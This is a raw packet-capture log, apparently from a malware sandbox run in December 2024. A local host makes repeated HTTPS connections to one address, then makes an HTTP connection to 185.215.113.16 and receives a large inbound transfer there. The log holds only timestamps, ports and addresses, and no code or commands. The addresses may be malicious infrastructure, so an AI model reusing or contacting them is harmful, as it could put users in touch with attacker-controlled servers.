Dec 26, 2024 12:51:06.516629934 CET	443	49708	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:07.827579975 CET	443	49708	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:07.827718019 CET	49708	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:07.831465960 CET	49708	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:07.831475019 CET	443	49708	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:07.831779957 CET	443	49708	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:07.880170107 CET	49708	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:07.880170107 CET	49708	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:07.880274057 CET	443	49708	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:36.292810917 CET	443	49708	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:36.292905092 CET	443	49708	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:36.293021917 CET	49708	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:36.296186924 CET	49708	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:36.296215057 CET	443	49708	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:36.306015015 CET	49763	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:36.306066990 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:36.306153059 CET	49763	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:36.306483030 CET	49763	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:36.306499958 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:37.610866070 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:37.611130953 CET	49763	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:37.622694969 CET	49763	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:37.622719049 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:37.622972012 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:37.632711887 CET	49763	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:37.632790089 CET	49763	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:37.632822037 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.405436039 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.405518055 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.405548096 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.405571938 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.405596018 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.405628920 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.405777931 CET	49763	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:38.405777931 CET	49763	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:38.405827045 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.422507048 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.422550917 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.422652960 CET	49763	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:38.422674894 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.422959089 CET	49763	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:38.431952000 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.481024027 CET	49763	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:38.615474939 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.619412899 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.619458914 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.619586945 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.619640112 CET	49763	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:38.619640112 CET	49763	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:38.619901896 CET	49763	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:38.619925022 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.619939089 CET	49763	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:38.619945049 CET	443	49763	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.874099016 CET	49769	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:38.874155045 CET	443	49769	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:38.874313116 CET	49769	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:38.874691010 CET	49769	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:38.874705076 CET	443	49769	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:40.179748058 CET	443	49769	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:40.179888010 CET	49769	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:40.181368113 CET	49769	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:40.181387901 CET	443	49769	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:40.181654930 CET	443	49769	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:40.185117960 CET	49769	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:40.185273886 CET	49769	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:40.185309887 CET	443	49769	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:55.356904984 CET	443	49769	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:55.357026100 CET	443	49769	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:55.357110023 CET	49769	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:55.357366085 CET	49769	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:55.357397079 CET	443	49769	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:55.648118973 CET	49806	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:55.648184061 CET	443	49806	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:55.648261070 CET	49806	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:55.648631096 CET	49806	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:55.648648024 CET	443	49806	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:56.960329056 CET	443	49806	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:56.960464001 CET	49806	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:56.961821079 CET	49806	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:56.961828947 CET	443	49806	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:56.962078094 CET	443	49806	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:56.963790894 CET	49806	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:56.963941097 CET	49806	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:56.963963032 CET	443	49806	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:56.964020967 CET	49806	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:57.011328936 CET	443	49806	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:57.857014894 CET	443	49806	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:57.857299089 CET	443	49806	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:57.857377052 CET	49806	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:57.857446909 CET	49806	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:57.857470036 CET	443	49806	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:58.141801119 CET	49813	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:58.141850948 CET	443	49813	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:58.141916990 CET	49813	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:58.142225027 CET	49813	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:58.142239094 CET	443	49813	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:59.447071075 CET	443	49813	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:59.447437048 CET	49813	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:59.448391914 CET	49813	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:59.448401928 CET	443	49813	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:59.448648930 CET	443	49813	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:59.449896097 CET	49813	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:59.450043917 CET	49813	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:59.450074911 CET	443	49813	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:59.450139046 CET	49813	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:59.450148106 CET	443	49813	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:00.632091999 CET	443	49813	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:00.632333040 CET	443	49813	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:00.632409096 CET	49813	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:00.632492065 CET	49813	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:00.632508993 CET	443	49813	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:01.163247108 CET	49824	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:01.163297892 CET	443	49824	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:01.163372040 CET	49824	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:01.163790941 CET	49824	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:01.163804054 CET	443	49824	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:02.466382980 CET	443	49824	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:02.466464043 CET	49824	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:02.467839956 CET	49824	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:02.467850924 CET	443	49824	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:02.468085051 CET	443	49824	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:02.469427109 CET	49824	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:02.469511032 CET	49824	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:02.469516039 CET	443	49824	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:03.287509918 CET	443	49824	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:03.287607908 CET	443	49824	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:03.287653923 CET	49824	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:03.287739992 CET	49824	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:03.287753105 CET	443	49824	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:03.846478939 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:03.846533060 CET	443	49830	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:03.846612930 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:03.846951008 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:03.846966028 CET	443	49830	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:05.158164024 CET	443	49830	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:05.158247948 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.159647942 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.159666061 CET	443	49830	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:05.160062075 CET	443	49830	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:05.178550005 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.179569006 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.179636955 CET	443	49830	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:05.179747105 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.179801941 CET	443	49830	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:05.179964066 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.180166006 CET	443	49830	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:05.180557966 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.180584908 CET	443	49830	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:05.180752993 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.180782080 CET	443	49830	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:05.180946112 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.180977106 CET	443	49830	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:05.180991888 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.181006908 CET	443	49830	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:05.181142092 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.181174040 CET	443	49830	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:05.181202888 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.181217909 CET	443	49830	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:05.181231976 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.181322098 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.181359053 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.181382895 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.223376036 CET	443	49830	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:05.224257946 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.224328995 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.224358082 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:05.271341085 CET	443	49830	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:06.340831995 CET	49830	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:06.420361996 CET	49836	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:06.420418978 CET	443	49836	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:06.420733929 CET	49836	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:06.421088934 CET	49836	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:06.421103954 CET	443	49836	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:07.723774910 CET	443	49836	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:07.723845959 CET	49836	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:07.731623888 CET	49836	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:07.731657028 CET	443	49836	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:07.731956959 CET	443	49836	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:07.736994982 CET	49836	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:07.737030983 CET	49836	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:07.737091064 CET	443	49836	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:08.484961987 CET	443	49836	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:08.485215902 CET	443	49836	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:08.485280037 CET	49836	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:08.485523939 CET	49836	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:08.485548019 CET	443	49836	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:08.485565901 CET	49836	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:52:08.485573053 CET	443	49836	172.67.165.185	192.168.2.6
Dec 26, 2024 12:52:08.488146067 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:08.607695103 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:08.607781887 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:08.608006954 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:08.727521896 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.061065912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.061080933 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.061094046 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.061132908 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.061152935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.061165094 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.061176062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.061187029 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.061194897 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.061203003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.061223984 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.061259031 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.061316967 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.061347961 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.061383963 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.180876017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.180963993 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.181179047 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.275399923 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.275415897 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.275480986 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.279232025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.279839993 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.280025005 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.287348986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.287362099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.287431002 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.298316956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.298352957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.298455954 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.305305958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.305345058 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.305417061 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.309855938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.309891939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.309976101 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.317560911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.318593025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.318684101 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.329987049 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.330023050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.330121040 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.585863113 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.585891008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.585902929 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.585913897 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.585928917 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.585939884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.585972071 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.585979939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586016893 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.586050987 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586061954 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586071968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586083889 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586093903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586103916 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.586106062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586118937 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586131096 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586142063 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586152077 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.586152077 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586164951 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586168051 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.586177111 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586188078 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586200953 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586211920 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.586211920 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.586211920 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586224079 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.586225986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586236000 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586246967 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586267948 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.586313963 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586325884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586354017 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.586354017 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.586389065 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586400986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586435080 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.586453915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586464882 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586474895 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586487055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586498022 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586509943 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586528063 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586534977 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.586539030 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.586539030 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.586590052 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.692608118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.692728043 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.706846952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.706897974 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.707004070 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.709485054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.709583998 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.710603952 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.715991974 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.716069937 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.716130972 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.723006010 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.723529100 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.723628998 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.727610111 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.727629900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.727747917 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.732331038 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.732434988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.732489109 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.737685919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.737699032 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.738091946 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.742247105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.742259026 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.743190050 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.746880054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.747044086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.747198105 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.751981020 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.751998901 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.752105951 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.756846905 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.757028103 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.757291079 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.761378050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.761512041 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.761614084 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.766258955 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.766294956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.766407013 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.771182060 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.771322012 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.771420002 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.776001930 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.776019096 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.776081085 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.780895948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.781229973 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.781328917 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:10.785669088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.785733938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:10.785831928 CET	49842	80	192.168.2.6	185.215.113.16
